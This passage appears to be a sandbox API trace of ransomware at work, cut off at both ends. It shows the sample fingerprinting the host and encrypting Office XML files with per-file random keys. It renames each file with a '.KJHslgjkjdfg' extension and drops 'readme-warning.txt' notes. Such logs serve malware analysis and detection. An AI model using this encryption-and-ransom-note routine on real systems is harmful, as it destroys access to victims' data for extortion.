pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.618] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.618] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.618] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.619] RegCloseKey (hKey=0x13c) returned 0x0 [0143.619] GetProcessHeap () returned 0x2a0000 [0143.619] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.619] GetProcessHeap () returned 0x2a0000 [0143.619] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.619] GetProcessHeap () returned 0x2a0000 [0143.619] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.619] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.619] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.619] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.619] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.619] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.619] GetProcessHeap () returned 0x2a0000 [0143.619] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.619] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.619] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.619] GetProcessHeap () returned 0x2a0000 [0143.619] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.619] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\readme-warning.txt") returned 113 [0143.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.624] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.625] CloseHandle (hObject=0x13c) returned 1 [0143.626] GetProcessHeap () returned 0x2a0000 [0143.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.626] GetProcessHeap () returned 0x2a0000 [0143.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.626] GetProcessHeap () returned 0x2a0000 [0143.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.626] GetProcessHeap () returned 0x2a0000 [0143.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.626] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.626] GetProcessHeap () returned 0x2a0000 [0143.626] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.626] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0143.626] GetProcessHeap () returned 0x2a0000 [0143.626] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc8) returned 0x2ed148 [0143.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.627] GetProcessHeap () returned 0x2a0000 [0143.628] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.628] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.628] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0143.628] GetProcessHeap () returned 0x2a0000 [0143.628] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2ca) returned 0x2f7730 [0143.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.628] GetProcessHeap () returned 0x2a0000 [0143.628] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.628] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.628] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.628] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xe, lpOverlapped=0x0) returned 1 [0143.647] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.647] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.647] GetProcessHeap () returned 0x2a0000 [0143.647] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.647] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.647] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.647] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.647] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.648] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.648] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.648] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.648] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.648] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.648] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.648] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.648] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x10b2, lpOverlapped=0x0) returned 1 [0143.649] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x10c0) returned 1 [0143.649] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.649] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x10c0, lpOverlapped=0x0) returned 1 [0143.649] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.649] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.649] SetEndOfFile (hFile=0x13c) returned 1 [0143.652] GetProcessHeap () returned 0x2a0000 [0143.652] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.652] GetProcessHeap () returned 0x2a0000 [0143.652] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0143.657] CloseHandle (hObject=0x13c) returned 1 [0143.657] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0143.657] GetProcessHeap () returned 0x2a0000 [0143.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.657] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.657] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.657] GetProcessHeap () returned 0x2a0000 [0143.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.657] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.657] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.657] GetProcessHeap () returned 0x2a0000 [0143.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.658] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.658] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.658] GetProcessHeap () returned 0x2a0000 [0143.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.658] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.658] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.658] GetProcessHeap () returned 0x2a0000 [0143.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.658] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.658] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.658] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.658] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.658] RegCloseKey (hKey=0x13c) returned 0x0 [0143.658] GetProcessHeap () returned 0x2a0000 [0143.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.658] GetProcessHeap () returned 0x2a0000 [0143.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.658] GetProcessHeap () returned 0x2a0000 [0143.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.658] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.658] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.659] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.659] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.659] GetProcessHeap () returned 0x2a0000 [0143.659] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.659] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.659] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.659] GetProcessHeap () returned 0x2a0000 [0143.659] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.659] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\readme-warning.txt") returned 110 [0143.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.659] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.661] CloseHandle (hObject=0x13c) returned 1 [0143.661] GetProcessHeap () returned 0x2a0000 [0143.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.661] GetProcessHeap () returned 0x2a0000 [0143.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.661] GetProcessHeap () returned 0x2a0000 [0143.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.661] GetProcessHeap () returned 0x2a0000 [0143.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.661] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.661] GetProcessHeap () returned 0x2a0000 [0143.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.661] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0143.661] GetProcessHeap () returned 0x2a0000 [0143.661] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xcc) returned 0x2ed148 [0143.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.662] GetProcessHeap () returned 0x2a0000 [0143.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.662] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.662] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0143.662] GetProcessHeap () returned 0x2a0000 [0143.662] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2ce) returned 0x2f7730 [0143.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.663] GetProcessHeap () returned 0x2a0000 [0143.663] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.663] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.663] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.663] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xa, lpOverlapped=0x0) returned 1 [0143.665] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.665] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.665] GetProcessHeap () returned 0x2a0000 [0143.665] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.665] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.665] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.666] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.666] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.666] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.666] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, 